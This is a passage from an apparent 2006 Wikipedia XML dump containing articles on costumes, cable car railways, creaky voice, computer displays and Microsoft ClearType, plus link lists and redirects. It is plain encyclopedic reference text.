* [http://www.chuckjones.com/ Chuck Jones web site]
*[http://www.sensesofcinema.com/contents/directors/02/jones.html Senses of Cinema: Great Directors Critical Database]
*[http://www.achievement.org/autodoc/page/jon1int-1 Photo gallery, full biography and online video at Achievement.org]
* {{imdb name|id=0005062|name= Chuck Jones}}
* [http://www.coldbacon.com/jones.html Good Chuck Jones tribute]
* [http://rogerebert.suntimes.com/apps/pbcs.dll/article?AID=/20060115/REVIEWS08/601150301 Chuck Jones: Three Cartoons (1953-1957)] - [[Roger Ebert]] discusses Jones' three films in the United States [[Library of Congress]] [[National Film Registry]].
*[http://www.toxicuniverse.com/review.php?aid=1000228 Biography of Chuck Jones] by Daniel Briney at ToxicUniverse.com.
*[http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=6207191 Chuck Jones at Find-A-Grave]

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  <page>
    <title>Costume</title>
    <id>7673</id>
    <revision>
      <id>40747582</id>
      <timestamp>2006-02-22T19:32:21Z</timestamp>
      <contributor>
        <username>Drb13 agito</username>
        <id>753488</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Yarkand ladies.JPG|thumb|right|360px|Yarkand ladies' summer fashions. 1870s]]
The term '''costume''' can refer to [[wardrobe]] and [[dress]] in general, or to the distinctive style of dress of a particular people, class, or period. It can also refer to the artistic arrangement of accessories in a [[picture]], [[statue]], [[poem]], or [[play]], appropriate to the time, place, or other circumstances represented or described, or to a particular style of [[clothing]] worn to portray the wearer as a [[fictional character|character]] or type of character other than their regular persona at a social event such as a [[Masquerade ball|masquerade]], a [[fancy dress party]] or in an artistic [[Theatre|theatrical]] [[performance]].
[[Image:Operettenkostüme1.jpg|thumb|left|120px|Costumes for the ballroom (about 1850)]]


[[Theatrical costumes]], in combination with other aspects, serve to portray characters' age, [[gender role]], [[profession]], [[social class]], [[personality]], and can even reveal information about the historical period/era, geographic location, time of day, as well as the season or weather of the theatrical performance. Sometimes theatrical costumes literally mimic what the costume designer thinks the character would wear if the character actually existed. On the other hand, often stylized theatrical costumes can exaggerate some aspect of a character.  Without [[theatrical costumers]], the audience would be left wondering who is related to whom, and which person is which.  Costuming, truly is as important as the set and  the script, yet most audiences take it for granted.

[[National costume]] or regional costume can express local (or [[exile]]d) [[identity]] and emphasise uniqueness.  It is often a source of one's National pride.  Think [[Scotsman]] in a [[kilt]] or Japanese in a [[kimono]].

The wearing of costumes has become an important part of [[Mardi Gras]] and [[Halloween]] celebrations, and (to a lesser extent) people may also wear costumes in conjunction with other [[holiday]] celebrations, such as [[Christmas]] and [[Easter]]. Mardi Gras costumes are usually [[Court jester|jesters]] and other fantasy characters, while Halloween costumes traditionally take the form of [[supernatural]] creatures such as [[ghosts]], [[vampires]], and [[angels]].  Christmas and Easter costumes typically portray mythical holiday characters, such as [[Santa Claus]]  by donning a [[santa suit]] and [[beard]] or play the [[Easter Bunny]] by putting on a furry costume and head.   Costumes may serve to portray various other character themes during secular holidays, such as an [[Uncle Sam]] costume worn on the [[Independence Day (US)|Independence day]] for example.

One of the more prominent places people see costumes is in theatre, film and TV.  Another very popular place for costumes is sporting events and college games  Those costumes are called [[mascots]].  These team mascots hep the club or team rally around their own teams cause.

Corporations and charities create brand identities by including a [[mascot costume]] in with their advertising campaigns.  Think of the [[Kool Aid Man]] or the [[Fruit of the Loom Guys]].  The comsumer identifies with the character and this helps tie all of the adverising campaign together.

Costumes are often worn with [[make-up]] or [[wigs]] to enhance the illusion.


==See also==
*[[Cosplay]] 
*[[Sexy Costumes]]
*[[Lingerie]]


==External links==
*[http://www.costumers.com/ Pierre's Costumes]
*[http://www.costumers.org/  National Costumers Association - USA]
*[http://www.1000costumes.com/ ''1000 Costumes''].
*[http://fax.libs.uga.edu/GT513xL32/ ''LACY'S DRAMATIC COSTUMES''], collected &amp; edited by Thomas Hailes Lacy, 1865 &amp; 1868. ''(a searchable facsimile at the University of Georgia Libraries; [[DjVu]] &amp; [http://fax.libs.uga.edu/GT513xL32/1f/ layered PDF] format)''
*[http://www.costumes.org/ ''The Costumer's Manifesto''].
*[http://www.cosx.co.kr/ ''The Costume X Image of Korea''].
* [http://groups.yahoo.com/group/DConU/ DConU]- Dedicated to costume convention lifestyle.

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  <page>
    <title>Cable car (railway)</title>
    <id>7674</id>
    <revision>
      <id>37989567</id>
      <timestamp>2006-02-03T12:15:39Z</timestamp>
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        <username>Chris j wood</username>
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      <minor />
      <comment>/* Relation to Funiculars */</comment>
      <text xml:space="preserve">{{dablink|(For 'cable car' systems where the vehicles are suspended and not on rails, see [[aerial lift]])}}

[[Image:Cable_Car.jpg|thumb|right|Cable Car in San Francisco]]
[[Image:Sf_cable_car.jpg|thumb|right|A San Francisco cable car]]
A '''cable car''' or '''cable railway''' is a [[mass transit]] system using rail cars that are propelled by a continuously moving cable running at a constant speed. Individual cars stop and start by releasing and gripping this cable as required. Cable cars are sometimes confused with [[funicular]]s, where the cars are permanently attached to the cable.

==Operation==
The cable is itself powered by a stationary motor or engine situated in a cable house or power house. The speed at which it moves is relatively constant, although affected by the current load.  

The cable car begins moving when a clamping device, called a ''grip'', is connected to the moving cable. Conversely the car is stopped by detaching it from the cable and applying the brakes. This gripping and ungripping action may be manual, as was the case in all early cable car systems, or automatic, as is the case in some recent cable operated [[people mover]] type systems. Gripping must be an even and gradual process in order to avoid bringing the car to cable speed too quickly and unacceptably jarring the [[passenger]]s.

In the case of manual systems, the grip resembles a very large pair of [[pliers]], and considerable strength and skill are required to operate the car.  As many early cable car operators discovered the hard way, if the grip is not applied properly, it can damage the cable, or even worse, become entangled in the cable.  In the latter case, the cable car may not be able to stop and can wreak havoc along its route until the cable house realizes what is going on and halts the cable.

One claimed advantage of the cable car is its relative energy efficiency, because of the economy of centrally-located power stations, and the ability for cars going down hill to transfer energy to cars going up. However this advantage is not unique to cable cars, as electric cars fitted with [[regenerative braking]] offer the same advantages, and in any case they must be offset against the cost of moving the cable.

Because of the constant and relatively low speed, cable cars can be underestimated in an accident. Even with a cable car traveling at only 9 miles per hour, the mass of the cable car and the combined strength of the cables, can do quite a lot of harm to pedestrians if hit.

== History ==
Though there may have been earlier attempts to pull cars by endless ropes, the first cable car installation in operation was the [[IRT Ninth Avenue Line|West Side and Yonkers Patent Railway]] in [[New York]], which ran from [[1 July]] [[1868]] to [[1870]]. The cable technology used in this elevated railway involved collar-equipped cables and claw-equipped cars, and proved cumbersome. The line was closed and rebuilt, and reopened with [[steam locomotives]].

[[image:Cable_Car_Station.jpg|thumb|right|Machinery driving the San Francisco Cable Car]]
The first cable cars to use grips were those of the [[Clay Street Hill Railroad]], which later became part of the [[San Francisco cable car system]]. This building of this line was promoted by [[Andrew Smith Hallidie]] with design work by [[William Eppelsheimer]], and it was first tested in [[1873]]. The success of these grips ensured that this line became the model for other cable car transit systems, and this model is often known as the ''Hallidie Cable Car''. 

In [[1881]] the [[Dunedin cable tramway system]] opened in [[Dunedin]], [[New Zealand]] and became the first such system outside San Francisco. For Dunedin, [[George Smith Duncan]] further developed the Hallidie model, introducing the pull curve and the slot brake; the former was a way to pull cars through a curve, since Dunedin's curves were too steep to allow coasting, while the latter forced a wedge down into the cable slot to stop the car. Both of these innovations were generally adopted by other cities, including San Francisco. 

Cable cars rapidly spread to other cities, although the major attraction for most was the ability to displace [[horse]]-drawn (or other animal-drawn) systems rather than the ability to climb hills. Many people at the time viewed horse-drawn transit as unnecessarily cruel, and the fact that a typical horse could work only four or five hours per day necessitated the maintenance of large stables of draft animals that had to be fed (typically 30 lb (14 kg) of feed each day), housed, groomed, medicated and rested. Thus for a period economics worked in favour of cable cars even in relatively flat cities.

For example, the [[Chicago City Railway]], also designed by Eppelsheimer, opened in [[Chicago, Illinois]] in [[1882]] and went on to become the largest and most profitable cable car system. As with many cities, the problem in flat Chicago was not one of grades but of transportation capacity. This caused a different approach to the combination of grip car and trailer. Rather than using a grip car and single trailer, as many cities did, or combining the grip and trailer into a single car, like San Francisco's ''California Cars'', Chicago used grip cars to pull trains of up to three trailers. 

In [[1883]] the [[New York and Brooklyn Bridge Railway]] was opened, which had a most curious feature: though it was a cable car system, it used [[steam locomotive]]s to get the cars into and out of the terminals. After [[1896]] the system changed to one where a motor car was added to each train to manoeuvre at the terminals, while en route the trains were still propelled by the cable.

On [[25 September]] [[1883]] a test of a cable car system was held by [[Liverpool United]] in [[Kirkdale, Liverpool|Kirkdale]]. This was the first cable car system in Europe, but Liverpool United decided against implementing it. Other cable car systems were implemented in Europe, though, among which was the [[Glasgow Subway | Glasgow District Subway]], the first underground cable car system, in [[1896]].  ([[London]]'s first deep-level tube railway, the [[City &amp; South London Railway]], had earlier also been built for cable haulage but had been converted to electric traction before opening in [[1890]].) A few more cable car systems were built in the [[United Kingdom]], [[Portugal]] and [[France]], but European cities, having much more curves in their streets, were less suitable for cable cars than American cities.

Though some new cable car systems were still being built, by [[1890]] the cheaper to construct and simpler to operate [[electricity|electrically]]-powered [[trolley]] or tram started to become the norm, and eventually started to replace existing cable car systems. For a while hybrid cable/electric systems operated, for example in Chicago where electric cars had to be pulled by grip cars through the loop area, due to the lack of trolley wires there. Eventually, San Francisco became the only street-running manually-operated system to survive -  Dunedin, the second city with such cars, was also the second-last city to operate them, closing down in [[1957]].

In the last decades of the 20th century cable cars have seen a limited revival as automatic [[people mover]]s.  They are completely computer controlled and can be switched easily from one continuous loop to another.  They are normally used in resort areas, airports and huge hospital centers.  The biggest manufacturer is Poma-Otis, a company formed by the merger of the cable car interests of the POMA ski lift company and the Otis elevator company - they can almost be considered to be horizontal elevators. Most of these cable car systems operate above ground on supported guideways, but some have sections that go underground.

== Relation to Funiculars == &lt;!-- Do not make this section about funiculars --&gt;
A cable car is superficially very similar to a [[funicular]] but differs from such a system in that its cars are not permanently attached to the cable and can stop independently, whereas a funicular has cars that are permanently attached to the propulsion cable, which is itself stopped and started. A cable car cannot climb as steep a grade as a funicular, but many more cars can be operated with a single cable, making it more flexible, and allowing a higher capacity. During the rush hour on San Francisco's Market Street Railway, a car would leave the terminal every 15 seconds.

A few funicular railways operate in street traffic, and because of this operation are often incorrectly described a cable cars. Examples of such operation, and the consequent confusion, are:

* The [[Great Orme Tramway]] in [[Llandudno]], [[Wales]].
* Several street funiculars in [[Lisbon]], [[Portugal]].

Even more confusingly, a hybrid cable car/funicular line once existed in the form of the original [[Wellington Cable Car]], in the [[New Zealand]] city of [[Wellington]]. This line had both a continuous loop haulage cable that the cars gripped using a cable car gripper, and a balance cable permanently attached to both cars over an undriven pulley at the top of the line. The descending car gripped the haulage cable and was pulled downhill, in turn pulling the ascending car (which remained ungripped) uphill by the balance cable. This line was rebuilt in [[1979]] and is now a standard funicular, although it retains its old cable car name.

== Cities currently operating cable cars ==
&lt;!-- Please do not add funiculars here--&gt;

The best known existing cable car system is the [[San Francisco cable car system]] in the [[California|Californian]] city of [[San Francisco, California|San Francisco]]. This is the oldest and biggest cable car system in permanent operation, and it is the only system to still operate in the traditional manner with manually operated cars running in street traffic.

Some other cities have modern form of cable cars, but they are often referred as [[People mover|people movers]]. The following list is not complete, but shows the best known systems:

* [[Laon]], France has a completely automatic Poma-Otis cable car system, called [[Poma 2000]]
* [[Las Vegas, Nevada]], has three lines build with this systems, linking some hotels
&lt;!-- Please do not add funiculars here--&gt;

== Cities previously operating cable cars ==
=== [[Australia]] ===
[[Image:Melbourne cable tram 1905.jpg|thumb|300px|Cable tram dummy and trailer on the St Kilda Line in [[Melbourne]] in 1905.]]
* [[Melbourne]] ([[1885]]&amp;ndash;[[1940]], the [[Melbourne cable tramway system]])
* [[Sydney]] ([[1886]]&amp;ndash;[[1905]])

=== [[France]] ===
* [[Paris]]

=== [[New Zealand]] ===
* [[Dunedin]] ([[1881]]&amp;ndash;[[1957]], the [[Dunedin cable tramway system]]) 
* [[Wellington]] ([[1902]]&amp;ndash;[[1979]], the original [[Wellington Cable Car]] hybrid system)

=== [[Portugal]] ===
* [[Lisbon]]

=== [[United Kingdom]] ===
* [[Birmingham]]
* [[Edinburgh]] ([[1899]]&amp;ndash;[[1923]]))
* [[Glasgow]] ([[1896]]&amp;ndash;[[1935]])
* [[Liverpool]] (trial in [[1883]])
* [[London]] ([[1884]]&amp;ndash;[[1909]], connecting [[Archway]] with [[Highgate]], the first cable car in regular operation in Europe)
* [[Matlock, Derbyshire|Matlock]] ([[1893]]&amp;ndash;[[1927]])

=== [[Isle of Man]] ===
* [[Douglas, Isle of Man|Douglas]] ([[1896]]&amp;ndash;[[1929]])

=== [[United States]] ===
[[Image:Up-bway.jpg|thumb|right|300px|Cable cars running on [[Broadway (New York City)|Broadway]], [[New York City]], 1897]]

* [[Baltimore, Maryland]]
* [[Binghamton, New York]] (trial in [[1885]])
* [[Brooklyn, New York]]
* [[Butte, Montana]] ([[1889]]&amp;ndash;[[1897]])
* [[Chicago City Railway|Chicago, Illinois]] ([[1882]]&amp;ndash;[[1906]])
* [[Cincinnati, Ohio]]
* [[Cleveland, Ohio]]
* [[Denver Tramway|Denver, Colorado]]
* [[Grand Rapids, Michigan]]
* [[Hoboken, New Jersey]] ([[1886]]&amp;ndash;[[1892]])
* [[Kansas City, Missouri]]
* [[Los Angeles, California]] ([[1885]]&amp;ndash;[[1902]], the [[Second Street Cable Railway]] and others)
* [[New York City|New York, New York]]
* [[Newark, New Jersey]] ([[1888]]&amp;ndash;[[1889]])
* [[Oakland, California]] ([[1886]]&amp;ndash;[[1899]])
* [[Omaha, Nebraska]]
* [[Philadelphia, Pennsylvania]]
* [[Pittsburgh, Pennsylvania]]
* [[Portland, Oregon]] ([[1890]]&amp;ndash;[[1904]])
* [[Providence, Rhode Island]]
* [[Seattle, Washington]]
* [[St Louis, Missouri]]
* [[St Paul, Minnesota]]
* [[San Diego, California]] ([[1890]]&amp;ndash;[[1892]])
* [[Seattle, Washington]] ([[1888]]&amp;ndash;[[1940]])
* [[Sioux City, Iowa]]
* [[Spokane, Washington]]
* [[Tacoma, Washington]] ([[1891]]&amp;ndash;[[1938]])
* [[Washington, D.C.]] ([[1890]]&amp;ndash;[[1899]], part of the [[Washington streetcars|Washington streetcar system]])

== See also ==
* [[Cable railway]]
* [[Cable ferry]]
* [[Funicular railway]]
* [[Metropolitan Street Railway Co.]] (NYC)

== Sources ==
* ''Of Cables and Grips: The Cable Cars of San Francisco'', by Robert Callwell and Walter Rice, published by Friends of the Cable Car Museum, first edition, 2000.

== External links ==
{{Commons|Cable car on rails}}
'''Information'''
* [http://www.cablecarmuseum.com Cable Car Museum]
* [http://www.cable-car-guy.com Cable Car Guy]
* [http://www.lostnewyorkcity.com/buildingphotos/Plate-51-b.html The Cable Building] (New York City) Broadway Cable car line.

'''Patents'''
* {{US patent|19736}} -- ''Railroad track''
* {{US patent|110971}} -- ''Endless wire ropeway''

[[Category:Transportation]]
[[Category:Rail transport]]

[[de:Kabelbahn]]
[[fr:Tramway à traction par câble]]
[[nl:Kabeltram]]
[[ja:ケーブルカー]]
[[pl:Tramwaj linowy]]
[[sv:Kabelspårvagn]]</text>
    </revision>
  </page>
  <page>
    <title>Creaky voice</title>
    <id>7676</id>
    <revision>
      <id>41627591</id>
      <timestamp>2006-02-28T16:59:51Z</timestamp>
      <contributor>
        <username>Kwamikagami</username>
        <id>93143</id>
      </contributor>
      <comment>more appropriate link</comment>
      <text xml:space="preserve">'''Creaky voice''' (also called '''laryngealisation''' or, in [[singing]], '''vocal fry''' or '''glottal fry'''), is a special kind of [[phonation]] in which the [[arytenoid cartilage]]s in the [[larynx]] are drawn together; as a result, the [[vocal folds]] are compressed rather tightly, becoming relatively slack and compact, and forming a large, irregularly vibrating mass. The frequency of the vibration is very low (20&amp;ndash;50 pulses per second, about two octaves below normal voice) and the airflow through the [[glottis]] is very slow. A slight degree of laryngealisation, occurring e.g. in some [[Korean language|Korean]] consonants is called &quot;[[stiff voice]]&quot;.

There is some argument among music instructors as to whether or not this is an actual register as it can be used to add a raspy sound to other registers. By putting less amount of air on the cords than is needed for a clear tone of the pitch you are going for, the tone breaks up and becomes a rasp. Many [[Heavy Metal]] singers use this technique to create a screaming sound. One example is [[Chester Bennington]] of [[Linkin Park]].

The [[Danish language|Danish]] [[prosody|prosodic]] feature ''[[stød]]'' is an example of a form of laryngealisation that has a [[phoneme|phonemic]] function.

Creaky voice manifests itself in the [[idiolect]]s of some [[American English]] speakers, particularly at the beginnings of sentences that the speaker wishes to &quot;soft-pedal&quot;.  The &quot;eh&quot; of &quot;Eh, I don't know about that.&quot; is frequently pronounced in creaky voice.  This phenomenon is more prominent among female American English speakers than among male speakers.

It can also occur accidentally when the speaker's throat is tired.

==See also==
* [[breathy voice]]
* [[glottal stop]]
* [[slack voice]]

[[no:Knirkestemme]]

[[Category:Phonation]]</text>
    </revision>
  </page>
  <page>
    <title>Computer display</title>
    <id>7677</id>
    <revision>
      <id>39983689</id>
      <timestamp>2006-02-17T07:07:14Z</timestamp>
      <contributor>
        <ip>80.6.177.18</ip>
      </contributor>
      <comment>/* Major manufacturers */</comment>
      <text xml:space="preserve">[[Image:monitor.arp.750pix.jpg|thumb|right|250px|Nineteen inch (48 cm) CRT computer monitor]]
A '''computer display''', '''monitor''' or '''screen''' is a [[computer peripheral]] device capable of showing characters and/or still or moving images generated by a computer and processed by a [[graphics card]]. Monitors generally conform to one or more [[computer display standard|display standards]]. Sometimes the name &quot;display&quot; suits better than the word &quot;monitor&quot;, as the latter term can also ambiguously refer to a &quot;machine-level [[debugger]]&quot; or to a &quot;[[thread]] synchronization mechanism&quot;. Some people also refer to computer displays as &quot;heads&quot;, especially when talking about multiple displays connected to a single physical computer. Once an essential component of a [[computer terminal]], computer displays have long since become standardized peripherals in their own right.

==Hardware ==
===Technologies===
As with [[television]], several different [[hardware]] technologies exist for displaying computer-generated output:

* [[Cathode ray tube]] (CRT)
* [[Liquid crystal display]] (LCD). [LCD-based monitors can receive television and computer protocols ([[SVGA]],  [[PAL]], [[SECAM]]; [[NTSC]]).)
* [[Plasma display]] 
* [[Surface-conduction electron-emitter display]] (SED)
* [[Video projector]]

A modern CRT display has considerable flexibility: it can usually handle a range of [[Display resolution|resolution]]s from 320 by 200 [[pixel]]s (320×200) up to 2048 by 1536 pixels (2048×1536) or 2304 by 1440 pixels (2304×1440), with unlimited colours and a variety of [[refresh rate]]s.

As of 2005, the highest known maximum native resolution for any type of monitor is 3840 by 2400 pixels (3840×2400) on an LCD screen.

[[Dot pitch]] measures the sharpness of a display.  In general, the lower the dot pitch, (e.g. .24), the sharper the picture will appear.

Early CRT-based VDUs (Visual Display Units) without [[computer graphics|graphics]] capabilities gained the label &quot;glass [[teletype]]s&quot;, because of the functional similarity to their electromechanical predecessors.

Black-and-white displays can only display one colour: either as on or off. Monochrome displays can show only levels of a single colour. In both cases the display usually uses [[green screen|green]], orange (amber) or gray (white).

[[Image:Monitor.jpg|thumb|computer monitor]]
Colour monitors may show either digital colour (turning each of the red, green and blue signals either on or off, giving eight possible colours: black, white, red, green, blue, cyan, magenta and yellow - sometimes with an extra &quot;brightness&quot; signal producing a total of up to 16 colours) or analog colour (red, green and blue signals vary continuously, allowing the display of any combination). Early digital monitors are sometimes known as TTLs because the voltages on the red, green and blue inputs are compatible with [[Transistor-transistor logic|TTL]] logic chips. Later digital monitors support [[LVDS]], or [[TMDS]] protocols.

Most modern [[computer]] displays can show thousands or millions of different colours in the [[RGB colour space]] by combining red, green, and blue dots in varying intensities.

With exceptions of [[DLP]], most display technologies (especially LCD) have an inherent misregistration of the colour planes, that is, the centers of the red, green, and blue dots do not line up perfectly.  [[Subpixel rendering]] depends on this misalignment; technologies making use of this include the [[Apple II]] from [[1976]] [http://grc.com/ctwho.htm], and more recently [[Microsoft]] ([[ClearType]], [[1998]]) and [[XFree86]] ([[X Rendering Extension]]).

Moving texts can appear in italics, even when the display resolution is too low to show static italics: a fractional time delay causes an apparent corresponding shift of a fraction of a [[pixel]].

Note the sometimes disputed issue of [[screen emissions]].  Most computer monitors have [[analog video|analog]] signal relay, but some (mostly LCD screens) start supporting digital input signals.  It is a common misconception that all computer monitors are digital.  For several years, [[Televisions]], [[composite monitor]]s and computer displays have had significant distinction, however it has blurred as newer TVs have become versatile to accommodate these purposes.

===History===
A trend of [[miniaturization]] within computer displays has seen a general move away from the older, bulky CRT devices in the general direction of [[flat screen]]s as found in modern [[laptop]]s.

===Major manufacturers===
*[[Apple Computer]]
*[[BenQ]]
*[[Dell, Inc.]]
*[[Eizo]]
*[[Iiyama Corporation]]
*[[LaCie]]
*[[LG Electronics]]
*[[NEC/Mitsubishi]]
*[[Philips Electronics|Philips]]
*[[Samsung]]
*[[Sony]]
*[[ViewSonic]]

==Configuration and usage==

===Multi-head===
{{main|Multi monitor}}
Some users use more than one monitor. The displays can operate in multiple modes. One of the most common spreads the entire desktop over all of the monitors, which thus act as one big desktop. The [[X Window System]] refers to this as &quot;[[Xinerama]]&quot;. 

A monitor may also clone another monitor. 

Terminology:
* Dualhead - Using two monitors 
* Triplehead - using three monitors
* Display assembly - multi-head configurations actively managed as a single unit

===Virtual displays===
The X Window System provides configuration mechanisms for using a single hardware monitor for rendering multiple virtual displays, as controlled (for example) with the Unix DISPLAY [[global variable]] or with the -display command option.

[[fr:Moniteur d'ordinateur]]</text>
    </revision>
  </page>
  <page>
    <title>Computer display/LCD</title>
    <id>7678</id>
    <revision>
      <id>15905736</id>
      <timestamp>2002-09-16T20:01:08Z</timestamp>
      <contributor>
        <username>Aldie</username>
        <id>901</id>
      </contributor>
      <comment>-&gt; liquid crystal display</comment>
      <text xml:space="preserve">#REDIRECT [[liquid crystal display]]</text>
    </revision>
  </page>
  <page>
    <title>Computer display/CRT</title>
    <id>7679</id>
    <revision>
      <id>15905737</id>
      <timestamp>2002-06-13T02:03:02Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>redirecting</comment>
      <text xml:space="preserve">#REDIRECT [[cathode ray tube]]</text>
    </revision>
  </page>
  <page>
    <title>ClearType</title>
    <id>7681</id>
    <revision>
      <id>42075544</id>
      <timestamp>2006-03-03T17:32:07Z</timestamp>
      <contributor>
        <username>Zzedar</username>
        <id>199308</id>
      </contributor>
      <minor />
      <comment>/* How ClearType works */</comment>
      <text xml:space="preserve">'''&lt;nowiki&gt;ClearType&lt;/nowiki&gt;''' is a registered trademark for a technology developed by [[Microsoft|Microsoft Corporation]] to improve the appearance of text on certain types of [[computer]] [[display]] screens, especially [[flat panel|flat-panel]] displays.

This article is a general explanation of ClearType for non-specialists.  For a detailed technical treatment of ClearType and related technologies, and the mathematical principles upon which they are based, see [[Subpixel rendering]].

==Introduction==

Computer displays in which the positions of individual pixels are permanently fixed by the design of the hardware&amp;mdash;such as most modern [[flat panel|flat-panel displays]]&amp;mdash;can show strong ''[[aliasing]] artifacts'' (''i.e.,'' &amp;ldquo;jaggies&amp;rdquo;) when displaying small, high-contrast graphic elements such as text.  ClearType uses [[anti-aliasing]] at the subpixel level to greatly reduce visible artifacts on such displays when text is rendered, making the text appear &amp;ldquo;smoother&amp;rdquo; and more legible.

While the exact implementation of ClearType is specific to Microsoft, the overall principles upon which it is based have been known and used for many years in various types of display systems, such as that used by [[Apple II family|Apple II]] computers with [[NTSC]] [[television]] sets in the [[1970s]].

Like most other types of subpixel rendering, ClearType actually involves a compromise, sacrificing one aspect of image quality (color or ''[[chrominance]]'' detail) for another (light and dark or ''[[luminance]]'' detail).  The compromise works because it takes advantage of certain pecularities of [[human eye|human vision]]. 

ClearType is applied only to text that is rendered as such by user and system applications. Other graphic display elements (including text that has already been converted to [[bitmap|bitmaps]]) are not altered by ClearType.  For example, text in [[Microsoft Word]] will be rendered on the screen with ClearType enhancement, but text placed in a bitmapped image in a program such as [[Photoshop|Adobe Photoshop]] will not be modified.  This is important because the ClearType technology is extremely specific to text rendering on certain types of computer displays; it would not be useful and could even degrade perceived image quality if it were applied in any other circumstances.

ClearType is not used for text being printed on paper. Most printers already use such small pixels for printing that aliasing is never a problem, and in any case they don't have the fixed, addressable subpixels that ClearType requires.

Computer files that contain text are unaffected by ClearType, since ClearType is applied only when the text is actually being rendered onto the screen of a computer display.

==How ClearType works==

Normally, the software in a computer treats the computer&amp;rsquo;s display screen as a rectangular array of square, indivisible ''[[pixel|pixels]],'' each of which has an intensity and color that are determined by the blending of three [[primary color|primary colors]]: red, blue, and green. However, actual display hardware usually implements each pixels as a group of three adjacent, independent ''[[subpixel|subpixels]],'' each of which displays a different primary color. Thus, on a real computer display, each pixel is actually composed of separate red, green, and blue subpixels. For example, if a flat-panel display is examined under a magnifying glass, the pixels may appear as follows:

[[Image:Subpixels.png|center|Subpixels]]

In the illustration above, there are nine pixels, but there are 27 subpixels.

If the computer controlling the display knows the exact position and color of all the subpixels on the screen, it can take advantage of this to improve the apparent sharpness of the images on the screen in certain situations.  If each pixel on the display actually contains three rectangular subpixels of red, blue, and green, in that fixed order, then things on the screen that are smaller than one full pixel in size can be rendered by lighting only one or two of the subpixels.  For example, if a diagonal line with a width smaller than a full pixel must be rendered, then this can be done by lighting only the subpixels that the line actually touches. If the line passes through the leftmost portion of the pixel, only the red subpixel is lit; if it passes through the rightmost portion of the pixel, only the blue subpixel is lit.  This effectively triples the sharpness of the image at normal viewing distances; but the drawback is that the line thus drawn will show color fringes upon very close examination (at some points it might look green, at other points it might look red or blue).

ClearType uses this method to improve the sharpness of text. When the elements of a type character are smaller than a full pixel, ClearType lights only the appropriate subpixels of each full pixel in order to more closely follow the outlines of the character.  Text rendered with ClearType looks &amp;ldquo;smoother&amp;rdquo; and more legible than text rendered without it, provided that the pixel layout of the display screen exactly matches what ClearType expects.

The following picture shows a 4&amp;times; enlargement of the word ''Wikipedia'' rendered using ClearType.
The word was originally rendered using a [[Times New Roman]] 12 [[Point (typography)|pt]] [[typeface|font]].

:[[Image:Wikipedia ClearType.png|center|frame|The word &quot;Wikipedia&quot; rendered using ClearType]]

In this magnified view, it becomes clear that, while the overall sharpness of the text seems to improve, there is some color fringing of the text.  At normal viewing distances, however, only the sharpness is perceptible, and the color fringing becomes invisible.

==ClearType and human vision==

ClearType and similar technologies work because human vision is much more sensitive to variations in intensity than it is to variations in color. The human eye can discern contrasts in intensity about three times better than it can discern contrasts in color; thus, when ClearType sacrifices color accuracy in order to improve the sharpness of light and dark, the overall effect&amp;mdash;as seen by human eyes&amp;mdash;is an improvement.

==Display requirements==

ClearType and allied technologies require display hardware with fixed pixels and subpixels. More precisely, the positions of the pixels and subpixels on the screen must be exactly known to the computer to which it is connected.  This is the case for flat-panel displays, on which the positions of the pixels are permanently fixed by the design of the screen itself. Almost all flat panels have a perfectly rectangular array of square pixels, each of which contains three rectangular subpixels in the three primary colors, with the normal ordering being red, green, and blue. ClearType assumes this arrangement of pixels when rendering text.

ClearType does not work with flat-panel displays that are operated at resolutions other than their &amp;ldquo;native&amp;rdquo; resolutions, since only the native resolution corresponds exactly to the actual positions of pixels on the screen of the display.

If a display does not have the type of fixed pixels that ClearType expects, text rendered with ClearType enabled will actually look worse than type rendered without it. Some flat panels have unusual pixel arrangements, with the colors in a different order, or with the subpixels positioned differently (in three horizontal bands, or in other ways).  ClearType needs to be manually tuned for use with such displays (see below).  Similarly, ''displays that have no fixed pixel positions, such as [[cathode ray tube|CRT]] displays, are incompatible with ClearType.''

Additionally, when images are prepared to be display-independent (that is, when they are prepared for distribution, and not just for display on the computer with which they were prepared), ClearType should be turned off if rendered text is part of the image. For example, [[screenshot|screenshots]] should always be prepared with ClearType turned ''off.''  Image-editing programs such as [[Photoshop|Adobe Photoshop]] or [[Paint Shop Pro|Corel Paint Shop Pro]] bypass ClearType when rendering text directly, for precisely this reason.

==ClearType tuning==

Most recent versions of [[Microsoft Windows]] only allow ClearType to be turned on or off. However, there are other parameters that can be set via a tool that Microsoft makes available for free download from its site. See [http://www.microsoft.com/typography/ClearTypePowerToy.mspx Microsoft's ClearType Tuner PowerToy] for details.

==Illustrated Comparison==
A few illustrations can make the effect of ClearType rendering clear.
[[Image:ClearTypePixels.jpg|thumb|left|250px|(a) without ClearType (b) with ClearType]]
[[Image:ClearTypePixels2.jpg|thumb|right|250px|(c) with ClearType (d) without ClearType]]
On the left, an extreme close-up of a color display shows (a) text rendered without ClearType and (b) text rendered with ClearType. Note the changes in subpixel intensity that are used to increase effective resolution when ClearType is enabled&amp;mdash;without ClearType, all pixels are completely on or completely off.

On the right, a slight magnification of normal rendered text shows the net effect of (c) rendering with ClearType enabled and (d) rendering with ClearType disabled.

''(Note: These illustrations are partially simulated in order to avoid interference with the display hardware being used to display this article. Click on the illustrations to see larger versions that make the effects of ClearType rendering more visible.)''

== External links ==

* [http://www.microsoft.com/typography/WhatIsClearType.mspx Explanation of ClearType] at Microsoft Typography
* [http://research.microsoft.com/%7Ejplatt/cleartype/ Technical Overview of ClearType Filtering] from Microsoft Research
* [http://www.grc.com/cleartype.htm Sub-Pixel Font Rendering Technology]: History and Technique Explanation by [[Steve Gibson]], includes free downloadable Windows demo.
* [http://everything2.com/?node_id=1232071 sample implementation] in the C language by [[user:Damian Yerrick|Damian Yerrick]] of [[Everything2]]
* &quot;[http://www.research.microsoft.com/scripts/pubs/view.asp?PubID=719 Displaced Filtering for Patterned Displays]&quot; by Platt et al: a research paper detailing ClearType's techniques.

[[Category:Digital typography]]
[[Category:Microsoft Windows]]

[[de:ClearType]]
[[fr:ClearType]]
[[ja:ClearType]]</text>
    </revision>
  </page>
  <page>
    <title>Centriole</title>
    <id>7682</id>
    <revision>
      <id>41625411</id>
      <timestamp>2006-02-28T16:40:14Z</timestamp>
      <contributor>
        <ip>165.155.160.139</ip>
      </contributor>
